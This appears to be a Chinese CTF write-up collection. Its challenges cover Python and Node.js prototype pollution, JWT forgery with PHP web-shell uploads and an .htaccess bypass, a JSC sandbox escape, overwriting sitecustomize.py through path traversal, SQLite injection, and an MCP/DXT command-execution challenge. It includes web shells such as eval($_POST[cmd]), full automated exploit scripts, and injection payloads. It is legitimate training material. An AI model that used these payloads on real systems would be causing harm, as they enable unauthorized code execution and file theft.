题目from flask import Flask, request import json app Flask(__name__) def merge(src, dst): for k, v in src.items(): if hasattr(dst, __getitem__): if dst.get(k) and type(v) dict: merge(v, dst.get(k)) else: dst[k] v elif hasattr(dst, k) and type(v) dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) class Config: def __init__(self): self.filename app.py class Polaris: def __init__(self): self.config Config() instance Polaris() app.route(/, methods[GET, POST]) def index(): if request.data: merge(json.loads(request.data), instance) return Welcome to Polaris CTF app.route(/read) def read(): return open(instance.config.filename).read() app.route(/src) def src(): return open(__file__).read() if __name__ __main__: app.run(host0.0.0.0, port5000, debugFalse)解app.route(/read) def read(): return open(instance.config.filename).read()目标是污染instance.config.filename为flag{config: {filename: /flag}}only real题目解源代码泄露账号密码!-- xmuser/123456 --登录时抓包发现有token并且登录后无法操作猜测伪造tokeneyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NzQ5NDU5MjJ9.oklvvL_iH2xPICwCpsImEtoYgHdXe8y6GXNsbnsB-T4爆破出keycdef改token的rolexmuser发现还是无法操作修改roleadmin发现可以操作了其实直接改前端代码把disabled删掉也可以eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3NzQ5NDU5MjIsInJvbGUiOiJhZG1pbiIsInN1YiI6IjEifQ.w6j2pDZ0eThtl-bUz0HBzRSxcKRT06J-kYAx6Ysu6Pw随便传个1.php果然有限制试试1.jpg图片马#define width 1337 #define height 1337 ?php eval($_POST[cmd]); ?script languagephpeval($_POST[1]);/script均提示文件内容包含非法关键字法一chr绕过尝试绕过关键字限制? $funcchr(115).chr(121).chr(115).chr(116).chr(101).chr(109); $cmd; $cmd_chars[99, 97, 116, 32, 47, 102, 108, 97, 103]; foreach($cmd_chars as $ascii){ $cmd.chr($ascii); } $func($cmd);由于检测文件格式是在前端进行的我们可以上传.jpg后抓包修改文件后缀为.php然后再访问回显的上传路径就ok了法二.htaccess抓包把地址改为upload.php(原先是dashboard.php上传不了以下内容)上传.htaccess(抓包改后缀)AddType application/x-httpd-php .jpg上传.jpg文件?php system($_POST[cmd]);?提示上传成功这里虽然没有回显保存的路径但是可以猜测是/upload/文件名/jpg下面是ai写的一把梭脚本import requests import jwt import re import sys sys.stdout.reconfigure(encodingutf-8) target_url 这里填写靶机地址 session requests.Session() print( * 60) print(CTF Challenge Solver - JWT伪造 文件上传绕过) print( * 60) print(\n[步骤1] 登录获取token...) resp session.post(f{target_url}/login.php, data{user: xmuser, pass: 123456}) token session.cookies.get(token) print(f[] Token获取成功) print(\n[步骤2] 解码并伪造admin token...) payload jwt.decode(token, options{verify_signature: False}) print(f[*] 原始payload: {payload}) payload[role] admin forged_token jwt.encode(payload, cdef, algorithmHS256) if isinstance(forged_token, bytes): forged_token forged_token.decode() session.cookies.set(token, forged_token) print(f[] Admin token伪造成功) print(\n[步骤3] 上传.htaccess配置文件...) upload_url f{target_url}/upload.php htaccess_content AddType application/x-httpd-php .jpg files {file: (.htaccess, htaccess_content, text/plain)} resp session.post(upload_url, filesfiles) print(f[*] 响应: {resp.text}) print(\n[步骤4] 上传图片马...) image_data bGIF89a?php eval($_POST[cmd]);? files {file: (cmd.jpg, image_data, image/jpeg)} resp session.post(upload_url, filesfiles) print(f[*] 响应: {resp.text}) print(\n[步骤5] 执行命令获取flag...) shell_url f{target_url}/uploads/cmd.jpg print(f[*] Shell URL: {shell_url}) commands [ system(cat /flag);, system(cat /flag.txt);, system(ls -la /);, system(find / -name flag* 2/dev/null);, echo file_get_contents(/flag);, print_r(glob(/*));, system(cat /var/www/html/flag*);, ] for cmd in commands: try: resp session.post(shell_url, data{cmd: cmd}) result resp.text print(f\n[*] 执行: {cmd}) print(f[*] 结果: {result}) flag_match re.search(rflag\{[^}]\}, result, re.IGNORECASE) if flag_match: print(f\n{*60}) print(f[] 成功获取FLAG: {flag_match.group(0)}) print(f{*60}) with open(flag.txt, w) as f: f.write(flag_match.group(0)) break except Exception as e: print(f[-] 执行失败: {e}) print(\n[步骤6] 尝试其他方式...) shell_url f{target_url}/uploads/cmd.jpg print([*] 尝试直接GET请求执行...) resp session.get(f{shell_url}?cmdsystem(cat /flag);) print(f[*] GET结果: {resp.text}) print(\n[*] 尝试phpinfo...) resp session.post(shell_url, data{cmd: phpinfo();}) if PHP Version in resp.text: print([] PHP代码执行成功) print(f[*] 响应长度: {len(resp.text)})法三关键词绕过? readfile(glob(/fl*)[0]); ?抓包改后缀然后访问即可ezpollute前置知识NODE_OPTIONS 环境变量NODE_OPTIONS是Node.js的环境变量用于在启动Node.js时自动添加命令行参数。# 设置NODE_OPTIONS export NODE_OPTIONS-r /path/to/script.js # 当运行node命令时相当于 node -r /path/to/script.js your_script.js-r参数的作用在Node.js启动时预加载指定模块。node -r 文件名.js-r--require意思是启动 Node 时先加载并执行这个文件里的 JS 代码开发环境常用于设置环境变量。并且报错时会把出错的那一行打印出来题目const express require(express); const { spawn } require(child_process); const path require(path); const app express(); app.use(express.json()); app.use(express.static(__dirname)); function merge(target, source, res) { for (let key in source) { if (key __proto__) { if (res) { res.send(get out!); return; } continue; } if (source[key] instanceof Object key in target) { merge(target[key], source[key], res); } else { target[key] source[key]; } } } let config { name: CTF-Guest, theme: default }; app.post(/api/config, (req, res) { let userConfig req.body; const forbidden [shell, env, exports, main, module, request, init, handle,environ,argv0,cmdline]; const bodyStr JSON.stringify(userConfig).toLowerCase(); for (let word of forbidden) { if (bodyStr.includes(${word})) { return res.status(403).json({ error: Forbidden keyword detected: ${word} }); } } try { merge(config, userConfig, res); res.json({ status: success, msg: Configuration updated successfully. }); } catch (e) { res.status(500).json({ status: error, message: Internal Server Error }); } }); app.get(/api/status, (req, res) { const customEnv Object.create(null); for (let key in process.env) { if (key NODE_OPTIONS) { const value process.env[key] || ; const dangerousPattern /(?:^|\s)--(require|import|loader|openssl|icu|inspect)\b/i; if (!dangerousPattern.test(value)) { customEnv[key] value; } continue; } customEnv[key] process.env[key]; } const proc spawn(node, [-e, console.log(System Check: Node.js is running.)], { env: customEnv, shell: false }); let output ; proc.stdout.on(data, (data) { output data; }); proc.stderr.on(data, (data) { output data; }); proc.on(close, (code) { res.json({ status: checked, info: output.trim() || No output from system check. }); }); }); app.get(/, (req, res) { res.sendFile(path.join(__dirname, index.html)); }); // Flag 位于 /flag app.listen(3000, 0.0.0.0, () { console.log(Server running on port 3000); });解审计代码应该是一道node.js的原型链污染题目看污染部分逻辑function merge(target, source, res) { for (let key in source) { if (key __proto__) { if (res) { res.send(get out!); return; } continue; } if (source[key] instanceof Object key in target) { merge(target[key], source[key], res); } else { target[key] source[key]; } } }只过滤了__proto__关键词但我们还是可以使用{constructor: {prototype: {key: value}}}污染再看到/api/status路由const customEnv Object.create(null);创建了一个没有原型的对象但是由于在后面for (let key in process.env) { if (key NODE_OPTIONS) { const value process.env[key] || ; const dangerousPattern /(?:^|\s)--(require|import|loader|openssl|icu|inspect)\b/i; if (!dangerousPattern.test(value)) { customEnv[key] value; } continue; } customEnv[key] process.env[key]; }讲process.env的参数赋给customEnv所以我们仍然可以污染process.env的原型来间接污染customEnv发送污染PayloadPOST /api/config HTTP/1.1 Content-Type: application/json { constructor: { prototype: { NODE_OPTIONS: -r /flag } } }再访问/api/status此时创建子进程node -e console.log(...)子进程继承被污染的process.env.NODE_OPTIONS实际执行node -r /flag -e console.log(...)Node.js 尝试预加载/flag文件/flag内容XMCTF{...}不是合法JS报错错误信息中包含 flag 内容ai一把梭脚本import requests import re target_url http://target_url session requests.Session() # Step 1: 发送污染payload payload { constructor: { prototype: { NODE_OPTIONS: -r /flag } } } resp session.post( f{target_url}/api/config, jsonpayload, headers{Content-Type: application/json} ) print(f[] 污染结果: {resp.text}) # Step 2: 触发漏洞 resp session.get(f{target_url}/api/status) print(f[] 触发结果: {resp.text}) # Step 3: 提取flag flag_match re.search(r(XMCTF|flag)\{[^}]\}, resp.text, re.IGNORECASE) if flag_match: print(f[] FLAG: {flag_match.group(0)})Not a Node前置知识使用Error.prepareStackTrace技巧这是一个V8/JSC引擎的特性用于自定义错误堆栈的显示方式。// 定义自定义的堆栈格式化函数 Error.prepareStackTrace function(error, stack) { // error: 错误对象 // stack: CallSite对象数组包含调用栈信息 return custom stack; }; // 触发一个错误来测试 try { throw new Error(test); } catch (e) { console.log(e.stack); }原理当JavaScript引擎准备显示错误堆栈时会调用Error.prepareStackTrace函数。通过修改这个函数我们可以在错误发生时执行自定义代码。获取全局对象使用(0, eval)(this)技巧// (0, eval) 将eval作为普通函数调用而不是直接调用 // this 在eval中指向全局对象 let global (0, eval)(this); console.log(global);为什么这样写(0, eval)是JavaScript的一个技巧确保eval在全局作用域执行格式(0, eval) (1, eval) (null, eval) (, eval) [eval][0] window.eval #浏览器中 global.eval #node.js中关于JSCJSC JavaScriptCore是 Safari / 边缘计算用的浏览器引擎无 Node.js 原生 API关于Uint8ArrayUint8Array是JavaScript中的类型化数组用于表示8位无符号整数数组。它可以用来处理二进制数据。// 创建一个Uint8Array let arr new Uint8Array([72, 101, 108, 108, 111]); // Hello // 将字符串转为Uint8Array let encoder new TextEncoder(); let bytes encoder.encode(Hello); // Uint8Array [72, 101, 108, 108, 111] // 将Uint8Array转回字符串 let decoder new TextDecoder(); let str decoder.decode(bytes); // Hello而二进制数据一般直接作为原始字节传递不被当作字符串处理题目我们搭建了一个“安全”的在线 JavaScript 运行平台。你提交的代码会被放进一个精心准备的沙箱中运行一切看起来很干净解拿到题不会做也没啥想法跟着ai走一遍学习学习第一步信息收集网站右侧Fetch API standards fully supported in the JSC sandboxed context. #Fetch API 标准在 JSC 沙箱环境中被完全支持。说明无法使用node.js原生api__runtime.hash(str) High-performance DJB2 hashing. __runtime.encoding.hexEncode(s) e.g. hexEncode(internal) - 696e7465...泄露使用了__runtime的几个函数Advanced The runtime exposes documented APIs through the __runtime global. Platform orchestration may rely on additional internal bindings not listed here. #高级 #运行时通过 __runtime 全局对象暴露已公开的 API。 #平台调度可能依赖此处未列出的其他内部绑定方法。提示可能利用__runtime的其他函数第二步进一步信息收集找可利用方法探测runtime中的可用属性注意由于返回内容包含对象要使用JSON.stringify处理返回内容并且需要Object.getOwnPropertyNames获取所有属性否则函数下划线开头等属性不会显示export default { async fetch(req) { let runtime (0, eval)(this).__runtime; // 列出所有自身属性包括 _internal / _secrets / _debug let allKeys Object.getOwnPropertyNames(runtime); return new Response(JSON.stringify(allKeys)); } }; //回显 //[hash,strlen,platform,perf,encoding,_debug,_secrets,_internal]可以发现runtime中_debug _secrets _internal这三个比较可疑分别列出其中可用函数export default { async fetch(req) { let s __runtime._secrets; // 看 _secrets 下有哪些函数/属性 let keys Object.getOwnPropertyNames(s); return new Response(JSON.stringify(keys)); } };_debug : [enabled,trace,dump,inspect] _secrets : [get,list] _internal : [debug,lib]没啥发现挨个看看在看到_internal.lib.symbols时export default { async fetch(req) { let s __runtime._internal.lib.symbols; let keys Object.getOwnPropertyNames(s); return new Response(JSON.stringify(keys)); } }; //回显 //[_0x72656164,_0x6c697374]0x开头推测是16进制解码一下分别是read和list尝试直接调用read函数读/flagexport default { async fetch(request) { let flag __runtime._internal.lib.symbols._0x72656164(/flag); return new Response(JSON.stringify(flag)); } } //回显 //ERROR: The argument path must be a string, Uint8Array, or URL without null bytes. Received \/app/\\u0000\\u0000\\u0000\\u0000\\u0000\错误信息告诉我们几个重要信息路径被修改了我们传入的是/flag但系统收到的是/app/\u0000\u0000...支持Uint8Array错误说参数可以是string、Uint8Array或URLnull bytes问题路径中出现了\u0000空字符推测系统在处理字符串路径时会在前面加上/app/可能因为某些内存对齐问题后面跟着空字节但如果使用Uint8Array可能绕过这个处理export default { async fetch(request) { let encoder new TextEncoder(); let path encoder.encode(/flag); let flag __runtime._internal.lib.symbols._0x72656164(path); return new Response(JSON.stringify(flag)); } } //回显 //xmctf{......}拿到flagAutoPypy前置知识site模块site模块在Python启动时自动导入负责添加site-packages到sys.path当 Python 启动时site 模块会按这个顺序自动执行导入sitecustomize.py导入usercustomize.py处理.pth文件sitecustomize.py(系统级)这是Python的特殊文件在解释器启动时自动导入# sitecustomize.py import os os.system(cat /flag) # 每次Python启动都执行我们可以插入恶意代码每次运行时都会自动执行usercustomize.py(用户级)与前者类似同样自动执行os.path.join的特性os.path.join在Unix上如果第二部分是绝对路径会返回第二部分os.path.join(/app/uploads, /etc/passwd) # /etc/passwd也可以path os.path.join(/app/uploads, ../../../etc/passwd)题目server.pyimport os import sys import subprocess from flask import Flask, request, render_template, jsonify app Flask(__name__) BASE_DIR os.path.dirname(os.path.abspath(__file__)) UPLOAD_FOLDER os.path.join(BASE_DIR, uploads) if not os.path.exists(UPLOAD_FOLDER): os.makedirs(UPLOAD_FOLDER) app.route(/) def index(): return render_template(index.html) app.route(/upload, methods[POST]) def upload(): if file not in request.files: return No file part, 400 file request.files[file] filename request.form.get(filename) or file.filename save_path os.path.join(UPLOAD_FOLDER, filename) save_dir os.path.dirname(save_path) if not os.path.exists(save_dir): try: os.makedirs(save_dir) except OSError: pass try: file.save(save_path) return f成功上传至: {save_path} except Exception as e: return f上传失败: {str(e)}, 500 app.route(/run, methods[POST]) def run_code(): data request.get_json() filename data.get(filename) target_file os.path.join(/app/uploads, filename) launcher_path os.path.join(BASE_DIR, launcher.py) try: proc subprocess.run( [sys.executable, launcher_path, target_file], capture_outputTrue, textTrue, timeout5, cwdBASE_DIR ) return jsonify({output: proc.stdout proc.stderr}) except subprocess.TimeoutExpired: return jsonify({output: Timeout}) if __name__ __main__: import site print(f[*] Server started.) print(f[*] Upload Folder: {UPLOAD_FOLDER}) print(f[*] Target site-packages (Try to reach here): {site.getsitepackages()[0]}) app.run(host0.0.0.0, port5000)launcher.pyimport subprocess import sys def run_sandbox(script_name): print(Launching sandbox...) cmd [ proot, -r, ./jail_root, -b, /bin, -b, /usr, -b, /lib, -b, /lib64, -b, /etc/alternatives, -b, /dev/null, -b, /dev/zero, -b, /dev/urandom, -b, f{script_name}:/app/run.py, -w, /app, python3, run.py ] subprocess.call(cmd) print(ok) if __name__ __main__: script sys.argv[1] run_sandbox(script)解简单代码审计file request.files[file] # 从请求参数或文件名获取保存路径 filename request.form.get(filename) or file.filename # 路径穿越漏洞 save_path os.path.join(UPLOAD_FOLDER, filename) # 创建目录 save_dir os.path.dirname(save_path)filename可控通过request.form.get(filename)os.path.join可能存在路径穿越考虑覆盖sitecustomize.py我们可以通过一段命令查看路径import site import sys print(site:, site.getsitepackages())#存放第三方库的位置 print(sys.path:, sys.path)#加载模块的路径列表 #回显 #site: [/usr/local/lib/python3.10/site-packages] #sys.path: [/app, /usr/local/lib/python310.zip, /usr/local/lib/python3.10, /usr/local/lib/python3.10/lib-dynload, /usr/local/lib/python3.10/site-packages]或者ai说还有一个规则Linux 中Python 的第三方包目录永远是这个格式/usr/local/lib/pythonX.Y/site-packages/X.Y大版本号只取前两位3.10.19 → 3.10创建恶意sitecustomize.py并上传import os print(open(/flag).read())------geckoformboundary3c9412bd20120f86ad0e5f9e21ad00bb Content-Disposition: form-data; namefile; filename1.py Content-Type: image/jpeg import os print(open(/flag).read()) ------geckoformboundary3c9412bd20120f86ad0e5f9e21ad00bb Content-Disposition: form-data; namefilename ../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py ------geckoformboundary3c9412bd20120f86ad0e5f9e21ad00bb-- #回显 #成功上传至: /app/uploads/../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py然后执行任意文件就拿到flag了同样的除了sitecustomize.py我们还可以用usercustomize.py但是要注意路径不一样import site print(site.getusersitepackages()) #回显 #/home/ctf/.local/lib/python3.10/site-packages其余步骤与前者相同Broken Trust题目某FlaskWeb应用提供了一个仅管理员可访问的备份读取接口。神通广大的CTFer是否能发现逻辑缺陷拿到敏感文件呢解注册拿uid登录发现有特定的工具但是Only users with the admin role can access the backup interface.发现cooki中有sessioneyJyb2xlIjoidXNlciIsInVpZCI6Ijk1OTY2YzI0YTI0MzQwMjU5NWQ2MDIxMjkwNTU4YTc5IiwidXNlcm5hbWUiOiJhYWEifQ.ac8pHA.beGJyhdag0KL8k_Z2lJHUS1iJD0尝试爆破flask-unsign --unsign --cookie eyJyb2xlIjoidXNlciIsInVpZCI6Ijk1OTY2YzI0YTI0MzQwMjU5NWQ2MDIxMjkwNTU4YTc5IiwidXNlcm5hbWUiOiJhYWEifQ.ac8pHA.beGJyhdag0KL8k_Z2lJHUS1iJD0 --wordlist E:\字典\flask_secrets.txt失败源代码提取不到什么信息抓包探索一下功能发现Refresh Session Data功能会把uid POST给/api/profile而我们知道profile一般和用户配置文件有关并且返回内容是我们注册时的名称可能有查询功能考虑下sql尝试在UID参数中添加单引号{uid:95966c24a243402595d6021290558a79} 回显 {details:unrecognized token: \95966c24a243402595d6021290558a79\,error:Database error}提到了database error数据库错误测试回显{uid:95966c24a243402595d6021290558a79 union select 1,2,3 --} 回显 {role:3,uid:1,username:2}尝试不同数据库的获取版本的语句{uid:95966c24a243402595d6021290558a79 union select sqlite_version(),2,3-- -} 回显 {role:3,uid:3.34.1,username:2}确定是sqlite爆数据库内容{uid:95966c24a243402595d6021290558a79 union select 1,2,(select group_concat(uid) from users)--} 回显 {role:72adb8bc58dc4028bc694124095b111a,95966c24a243402595d6021290558a79,uid:1,username:2}我们的uid是95966...另一个应该就是admin了拿uid去登录admin专属工具是一个任意文件读取/api/admin?actionbackupfileconfig.json我们尝试路径遍历....读不到flag猜测有过滤尝试双重url编码双写../也可以../../../flag %252e%252e%252f%252e%252e%252f%252e%252e%252f%2566%256c%2561%2567拿到flagDXT前置知识什么是DXT文件DXT是一种用于打包和分发MCPModel Context Protocol服务的文件格式。DXT文件结构DXT文件本质上是一个ZIP压缩包包含evil.dxt (ZIP文件) ├── manifest.json # 配置文件 └── dummy.txt # 占位文件什么是MCPMCPModel Context Protocol是一种协议用于AI模型与外部服务交互。MCP配置MCP服务通过command和args指定启动命令{ mcp_config: { command: /bin/sh, args: [-c, echo hello] } }如果command和args可控可以执行任意命令题目一个简单的mcp_server解先试试php一句话木马要求后缀.dxt随便上传一个.dxt后缀的文件Upload failed: Failed to unpack DXT file: failed to open dxt file: zip: not a valid zip file看来需要按照正确格式上传